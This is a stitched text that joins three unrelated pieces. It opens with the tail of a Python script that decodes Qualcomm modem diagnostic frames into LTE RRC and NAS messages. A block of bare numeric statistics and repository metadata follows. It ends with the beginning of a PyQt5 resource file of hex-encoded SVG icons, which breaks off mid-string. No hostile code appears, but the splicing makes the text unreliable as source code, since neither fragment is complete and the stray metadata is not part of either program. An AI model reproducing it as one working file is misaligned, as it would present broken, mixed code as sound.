result["pci"] = message.mib_pci result["earfcn"] = message.mib_earfcn result["type"] = "MasterInformationBlock" elif LTEOTAMessage in message: result["rrc_version"] = message.ota_rrc_version result["rrc_release"] = message.ota_rrc_release if message.ota_version == 7: lte_message_type = LTE_Message_Type ota_pdu = message.ota_pdu elif message.ota_version == 9: lte_message_type = LTE_Message_Type_v9 ota_pdu = message.ota_pdu_v9 else: #print "Unknown QC OTA protocol version", hexlify(str(message[Raw])) return result["pci"] = message.ota_pci result["earfcn"] = message.ota_earfcn result["length"] = message.ota_encoded_msg_len payload = message[Raw].load[0:message.ota_encoded_msg_len:None] if ota_pdu == lte_message_type["DL-DCCH-Message"]: LTE_DL_DCCH.from_uper(payload) result["type"] = "DL-DCCH-Message" result["message"] = LTE_DL_DCCH()["message"] elif ota_pdu == lte_message_type["UL-DCCH-Message"]: LTE_UL_DCCH.from_uper(payload) result["type"] = "UL-DCCH-Message" result["message"] = LTE_UL_DCCH()["message"] elif ota_pdu == lte_message_type["DL-CCCH-Message"]: LTE_DL_CCCH.from_uper(payload) result["type"] = "DL-CCCH-Message" result["message"] = LTE_DL_CCCH()["message"] elif ota_pdu == lte_message_type["UL-CCCH-Message"]: LTE_UL_CCCH.from_uper(payload) result["type"] = "UL-CCCH-Message" result["message"] = LTE_UL_CCCH()["message"] elif ota_pdu == lte_message_type["PCCH-Message"]: LTE_PCCH.from_uper(payload) result["type"] = "PCCH-Message" result["message"] = LTE_PCCH()["message"] elif ota_pdu == lte_message_type["BCCH-DL-SCH-Message"]: LTE_BCCH_DL_SCH.from_uper(payload) result["type"] = "BCCH-DL-SCH-Message" result["message"] = LTE_BCCH_DL_SCH()["message"] else: result["ota_pdu"] = message.ota_pdu result["ota_version"] = message.ota_version result["raw"] = hexlify(payload) elif (LTENASMessageOutgoing in message) or (LTENASESMMessageOutgoing in message) or (LTENASMessageIncoming in message) or (LTENASESMMessageIncoming in message): original_payload = message[Raw].load header_size = 22 # FIXME obtain this value via Scapy payload = message[Raw].load[0:message.inner_len-header_size:None] result["raw"] = hexlify(payload) result["nas_log_version"] = message.log_version result["nas_version"] = message.nas_version result["nas_major"] = message.nas_version_major result["nas_minor"] = message.nas_version_minor if (LTENASMessageOutgoing in message): result["type"] = "LTE-NAS-Outgoing" NASfunction = NAS.parse_NAS_MO if (LTENASESMMessageOutgoing in message): result["type"] = "LTE-NAS-ESM-Outgoing" NASfunction = NAS.parse_NAS_MO if (LTENASMessageIncoming in message): result["type"] = "LTE-NAS-Incoming" NASfunction = NAS.parse_NAS_MT if (LTENASESMMessageIncoming in message): result["type"] = "LTE-NAS-ESM-Incoming" NASfunction = NAS.parse_NAS_MT m,e = NASfunction(payload) if m: result["message"] = str(m.show()) else: payload = message[DiagCommand].load result["msg_protocol"] = message.msg_protocol result["raw"] = hexlify(payload) print_output(result) while True: data = dev.receive() timestamp = time.time() while len(data) > 0 and data[-1] != "\x7e": d = dev.receive() if len(d) == 0: break data += d # data might contains concat'd frames raw_frames = bytearray(data) current = bytearray() for byte in raw_frames: current.append(byte) if byte == 0x7E: frame = QCDMFrame(current) if frame.code == CommandCodes["LOG"]: if DiagCommand in frame: handle_diag_log_message(frame,timestamp) else: result = {"timestamp" : timestamp} result["time"] = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime()) result["raw_frame"] = hexlify(frame) print_output(result) current = bytearray()

73.19084

2,814

0.591886

7,616

57,528

4.413866

0.113314

0.974298

1.431461

1.86911

0.68042

0.648411

0.625149

0.61081

0.603046

0.59311

0

0.343989

0.274597

57,528

785

2,815

73.284076

0.461551

0.055573

0

0.230769

0

0.05487

0.009236

0

0.362977

0.001274

0

null

0.005495

0.042125

null

0.025641

0

null

1

0

1

0

1

0

1

0

null

0

1

0

7

25fec2c85d064f60c01a9a8920a6dbcbf159ff90

299,993

py

Python

src/vispy_radar_scenes/qt_theme/breeze_resources.py

henriksod/vispy_radar_scenes

5f0250f905ca60451ee48aff0ee3fd522b1c1427

[ "MIT" ]

2

2021-12-05T21:42:46.000Z

2021-12-09T08:27:31.000Z

src/vispy_radar_scenes/qt_theme/breeze_resources.py

henriksod/vispy_radar_scenes

5f0250f905ca60451ee48aff0ee3fd522b1c1427

[ "MIT" ]

null

src/vispy_radar_scenes/qt_theme/breeze_resources.py

henriksod/vispy_radar_scenes

5f0250f905ca60451ee48aff0ee3fd522b1c1427

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt5 (Qt v5.15.2) # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore qt_resource_data = b"\ \x00\x00\x01\xbb\ \x3c\ \x73\x76\x67\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x39\x30\x22\x20\ \x77\x69\x64\x74\x68\x3d\x22\x37\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\ \x6e\x6f\x64\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x6e\x6f\ \x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\ \x3d\x22\x31\x22\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\ \x73\x63\x61\x6c\x65\x28\x35\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\ \x3c\x67\x20\x66\x69\x6c\x6c\x3d\x22\x23\x65\x66\x66\x30\x66\x31\ \x22\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x74\x72\x61\ \x6e\x73\x6c\x61\x74\x65\x28\x2d\x32\x39\x39\x2e\x30\x30\x30\x30\ \x30\x30\x2c\x20\x2d\x31\x32\x39\x2e\x30\x30\x30\x30\x30\x30\x29\ \x22\x3e\x0d\x0a\x20\x20\x20\x20\x20\x20\x3c\x67\x20\x74\x72\x61\ \x6e\x73\x66\x6f\x72\x6d\x3d\x22\x74\x72\x61\x6e\x73\x6c\x61\x74\ \x65\x28\x32\x39\x39\x2e\x30\x30\x30\x30\x30\x30\x2c\x20\x31\x32\ \x39\x2e\x30\x30\x30\x30\x30\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\ \x20\x20\x20\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\ \x2c\x31\x36\x20\x43\x31\x2c\x31\x37\x2e\x31\x20\x31\x2e\x39\x2c\ \x31\x38\x20\x33\x2c\x31\x38\x20\x4c\x31\x31\x2c\x31\x38\x20\x43\ \x31\x32\x2e\x31\x2c\x31\x38\x20\x31\x33\x2c\x31\x37\x2e\x31\x20\ \x31\x33\x2c\x31\x36\x20\x4c\x31\x33\x2c\x34\x20\x4c\x31\x2c\x34\ \x20\x4c\x31\x2c\x31\x36\x20\x4c\x31\x2c\x31\x36\x20\x5a\x20\x4d\ \x31\x34\x2c\x31\x20\x4c\x31\x30\x2e\x35\x2c\x31\x20\x4c\x39\x2e\ \x35\x2c\x30\x20\x4c\x34\x2e\x35\x2c\x30\x20\x4c\x33\x2e\x35\x2c\ \x31\x20\x4c\x30\x2c\x31\x20\x4c\x30\x2c\x33\x20\x4c\x31\x34\x2c\ \x33\x20\x4c\x31\x34\x2c\x31\x20\x4c\x31\x34\x2c\x31\x20\x5a\x22\ \x2f\x3e\x0d\x0a\x20\x20\x20\x20\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\ \x20\x20\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x20\x20\x3c\x2f\x67\x3e\ \x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x02\x06\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x36\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x31\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\ \x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\ \x39\x32\x2c\x35\x2e\x30\x38\x33\x33\x30\x32\x38\x20\x34\x2e\x35\ \x2c\x31\x2e\x37\x37\x32\x39\x38\x31\x38\x20\x37\x2e\x38\x31\x30\ \x35\x34\x30\x38\x2c\x35\x2e\x30\x38\x34\x37\x32\x33\x35\x20\x63\ \x20\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\ \x37\x30\x32\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\ \x31\x35\x37\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\ \x2c\x30\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\ \x31\x35\x37\x37\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\ \x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\ \x2e\x35\x37\x31\x31\x33\x36\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\ \x36\x31\x32\x38\x33\x2c\x2d\x33\x2e\x35\x39\x37\x33\x31\x30\x31\ \x39\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\ \x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\ \x39\x20\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\ \x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\ \x34\x38\x2c\x30\x20\x4c\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\ \x2c\x34\x2e\x35\x31\x33\x35\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\ \x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\ \x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\ \x33\x34\x33\x34\x39\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\ \x39\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\ \x36\x32\x38\x31\x33\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\ \x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\x2e\x35\x37\x31\x31\ \x37\x34\x39\x2c\x2d\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\x20\ \x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\x30\x62\x30\x22\x20\x66\ \x69\x6c\x6c\x2d\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x31\x2e\x30\ \x22\x2f\x3e\x0d\x0a\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\ \x76\x67\x3e\x0d\x0a\ \x00\x00\x01\x1d\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\ \x63\x61\x6c\x65\x28\x30\x2e\x31\x29\x22\x3e\x0d\x0a\x20\x20\x20\ \x20\x3c\x70\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\ \x62\x30\x62\x30\x22\x20\x64\x3d\x22\x4d\x32\x32\x2e\x31\x2c\x31\ \x30\x32\x32\x2e\x31\x4c\x2d\x32\x32\x2e\x31\x2c\x39\x37\x37\x2e\ \x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\x30\x4c\x31\x30\x32\x32\ \x2e\x31\x2c\x32\x32\x2e\x31\x5a\x6d\x32\x32\x30\x2c\x33\x30\x4c\ \x31\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\x39\x6c\x31\x30\x30\ \x30\x2d\x31\x30\x30\x30\x4c\x31\x32\x34\x32\x2e\x31\x2c\x35\x32\ \x2e\x31\x5a\x6d\x32\x35\x30\x2c\x30\x4c\x34\x34\x37\x2e\x39\x2c\ \x31\x30\x30\x37\x2e\x39\x6c\x31\x30\x30\x30\x2d\x31\x30\x30\x30\ \x4c\x31\x34\x39\x32\x2e\x31\x2c\x35\x32\x2e\x31\x5a\x6d\x32\x35\ \x30\x2c\x30\x4c\x36\x39\x37\x2e\x39\x2c\x31\x30\x30\x37\x2e\x39\ \x6c\x31\x30\x33\x30\x2d\x31\x30\x33\x30\x4c\x31\x37\x37\x32\x2e\ \x31\x2c\x32\x32\x2e\x31\x5a\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\x2f\ \x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x01\xfe\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x39\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x31\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\ \x61\x74\x68\x20\x64\x3d\x22\x6d\x20\x35\x2e\x30\x38\x32\x33\x30\ \x32\x38\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x2d\x33\x2e\ \x33\x31\x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\ \x20\x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\ \x35\x34\x30\x38\x20\x63\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\ \x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x30\x2e\x31\x35\x37\x37\ \x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x30\ \x2e\x35\x37\x31\x31\x37\x34\x39\x20\x2d\x30\x2e\x31\x35\x37\x37\ \x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\ \x34\x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\ \x33\x20\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\ \x20\x2d\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x37\x2c\x2d\x33\x2e\ \x35\x39\x36\x31\x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\ \x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\ \x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x31\x35\x37\x37\ \x30\x31\x39\x31\x2c\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\ \x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x20\x4c\x20\x34\ \x2e\x35\x31\x32\x35\x38\x36\x36\x2c\x30\x2e\x36\x31\x38\x32\x38\ \x34\x33\x37\x20\x63\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\ \x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x30\x2e\x34\x31\x33\x34\ \x33\x34\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x30\ \x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x30\x2e\x31\x35\x36\ \x32\x38\x31\x33\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x30\ \x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\ \x32\x34\x33\x20\x2d\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\ \x37\x31\x31\x37\x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\ \x22\x23\x62\x30\x62\x30\x62\x30\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\ \x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x00\xe3\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x22\x20\x3e\x0d\x0a\ \x20\x20\x3c\x67\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\x61\x74\x68\ \x20\x64\x3d\x22\x4d\x20\x31\x32\x2e\x39\x31\x39\x30\x38\x33\x2c\ \x35\x33\x2e\x31\x36\x34\x30\x33\x37\x20\x34\x39\x2e\x33\x36\x39\ \x30\x38\x31\x2c\x38\x39\x2e\x36\x31\x34\x30\x33\x35\x20\x38\x35\ \x2e\x38\x31\x39\x30\x38\x37\x2c\x35\x33\x2e\x31\x36\x34\x30\x33\ \x37\x20\x34\x39\x2e\x33\x36\x39\x30\x38\x31\x2c\x31\x36\x2e\x37\ \x31\x34\x30\x34\x20\x5a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\ \x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x23\x61\x32\x61\ \x32\x61\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6f\x70\x61\x63\ \x69\x74\x79\x3d\x22\x31\x2e\x30\x22\x20\x73\x74\x72\x6f\x6b\x65\ \x2d\x77\x69\x64\x74\x68\x3d\x22\x37\x2e\x32\x39\x22\x20\x2f\x3e\ \x0d\x0a\x20\x20\x3c\x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\ \x0d\x0a\ \x00\x00\x01\xfe\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x39\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x31\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\ \x61\x74\x68\x20\x64\x3d\x22\x6d\x20\x35\x2e\x30\x38\x32\x33\x30\ \x32\x38\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x2d\x33\x2e\ \x33\x31\x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\ \x20\x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\ \x35\x34\x30\x38\x20\x63\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\ \x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x30\x2e\x31\x35\x37\x37\ \x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x30\ \x2e\x35\x37\x31\x31\x37\x34\x39\x20\x2d\x30\x2e\x31\x35\x37\x37\ \x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\ \x34\x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\ \x33\x20\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\ \x20\x2d\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x37\x2c\x2d\x33\x2e\ \x35\x39\x36\x31\x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\ \x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\ \x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x31\x35\x37\x37\ \x30\x31\x39\x31\x2c\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\ \x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x20\x4c\x20\x34\ \x2e\x35\x31\x32\x35\x38\x36\x36\x2c\x30\x2e\x36\x31\x38\x32\x38\ \x34\x33\x37\x20\x63\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\ \x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x30\x2e\x34\x31\x33\x34\ \x33\x34\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x20\x30\ \x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x30\x2e\x31\x35\x36\ \x32\x38\x31\x33\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x30\ \x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\ \x32\x34\x33\x20\x2d\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\ \x37\x31\x31\x37\x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\ \x22\x23\x65\x66\x66\x30\x66\x31\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\ \x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x02\x2d\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x34\x30\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x33\x36\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\ \x63\x61\x6c\x65\x28\x32\x30\x29\x20\x74\x72\x61\x6e\x73\x6c\x61\ \x74\x65\x28\x31\x30\x20\x37\x2e\x35\x29\x20\x72\x6f\x74\x61\x74\ \x65\x28\x39\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\x61\ \x74\x68\x20\x64\x3d\x22\x6d\x20\x30\x2e\x39\x31\x36\x36\x39\x37\ \x32\x2c\x31\x2e\x31\x38\x39\x34\x35\x39\x33\x20\x33\x2e\x33\x31\ \x30\x33\x32\x31\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x2d\ \x33\x2e\x33\x31\x31\x37\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\ \x34\x30\x38\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\ \x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\x37\ \x37\x30\x32\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\ \x30\x2e\x35\x37\x31\x31\x37\x34\x39\x20\x30\x2e\x31\x35\x37\x37\ \x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x30\x2e\x34\ \x31\x33\x34\x33\x34\x39\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\ \x20\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x33\ \x2e\x35\x39\x37\x33\x31\x30\x32\x2c\x2d\x33\x2e\x35\x39\x36\x31\ \x32\x38\x33\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x30\x2e\ \x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\ \x32\x34\x20\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x2c\x2d\x30\x2e\ \x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\ \x31\x37\x34\x38\x20\x4c\x20\x31\x2e\x34\x38\x36\x34\x31\x33\x34\ \x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x2d\x30\ \x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\ \x32\x34\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\ \x2e\x31\x35\x37\x37\x31\x32\x34\x20\x2d\x30\x2e\x35\x37\x31\x31\ \x33\x36\x39\x2c\x30\x20\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\ \x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x20\x2d\x30\x2e\x31\x35\ \x36\x32\x38\x31\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\ \x20\x30\x2e\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\ \x34\x39\x33\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x61\x66\ \x61\x66\x61\x66\x22\x20\x66\x69\x6c\x6c\x2d\x6f\x70\x61\x63\x69\ \x74\x79\x3d\x22\x31\x2e\x30\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\x2f\ \x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x02\x0e\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x30\x22\x20\x68\ \x65\x69\x67\x68\x74\x3d\x22\x36\x30\x22\x3e\x0d\x0a\x20\x20\x3c\ \x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x73\x63\x61\ \x6c\x65\x28\x31\x30\x29\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x70\ \x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\ \x39\x32\x2c\x30\x2e\x39\x31\x37\x36\x39\x37\x31\x38\x20\x34\x2e\ \x35\x2c\x34\x2e\x32\x32\x38\x30\x31\x38\x32\x20\x37\x2e\x38\x31\ \x30\x35\x34\x30\x38\x2c\x30\x2e\x39\x31\x36\x32\x37\x36\x34\x38\ \x20\x63\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\ \x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\ \x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x35\x37\x31\ \x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\ \x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x30\x32\x20\x30\x2e\x31\x35\ \x37\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x32\ \x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\x6c\x20\ \x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\ \x33\x31\x30\x32\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\ \x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\ \x30\x31\x39\x20\x2d\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\ \x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\ \x37\x34\x38\x2c\x30\x20\x4c\x20\x30\x2e\x36\x31\x38\x32\x38\x34\ \x33\x2c\x31\x2e\x34\x38\x37\x34\x31\x33\x34\x20\x63\x20\x2d\x30\ \x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\ \x30\x32\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\ \x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\ \x31\x31\x33\x36\x39\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x35\ \x2c\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x34\ \x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\ \x33\x31\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\ \x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\ \x64\x61\x65\x65\x39\x22\x20\x66\x69\x6c\x6c\x2d\x6f\x70\x61\x63\ \x69\x74\x79\x3d\x22\x31\x2e\x30\x22\x2f\x3e\x0d\x0a\x20\x20\x3c\ \x2f\x67\x3e\x0d\x0a\x3c\x2f\x73\x76\x67\x3e\x0d\x0a\ \x00\x00\x02\x6b\ \x3c\ \x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x35\x22\x20\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x30\x22\x3e\x0d\x0a\x20\ \x20\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x6d\ \x61\x74\x72\x69\x78\x28\x30\x2e\x38\x31\x2c\x30\x2c\x30\x2c\x30\ \x2e\x39\x2c\x2d\x32\x31\x2e\x36\x37\x39\x36\x39\x39\x2c\x2d\x31\ \x30\x31\x2e\x35\x33\x38\x39\x33\x29\x22\x3e\x0d\x0a\x20\x20\x20\ \x20\x3c\x70\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x34\x30\ \x36\x38\x38\x30\x22\x20\x64\x3d\x22\x4d\x20\x35\x32\x2e\x30\x31\ \x31\x39\x37\x34\x2c\x31\x31\x35\x2e\x35\x39\x38\x38\x31\x20\x48\ 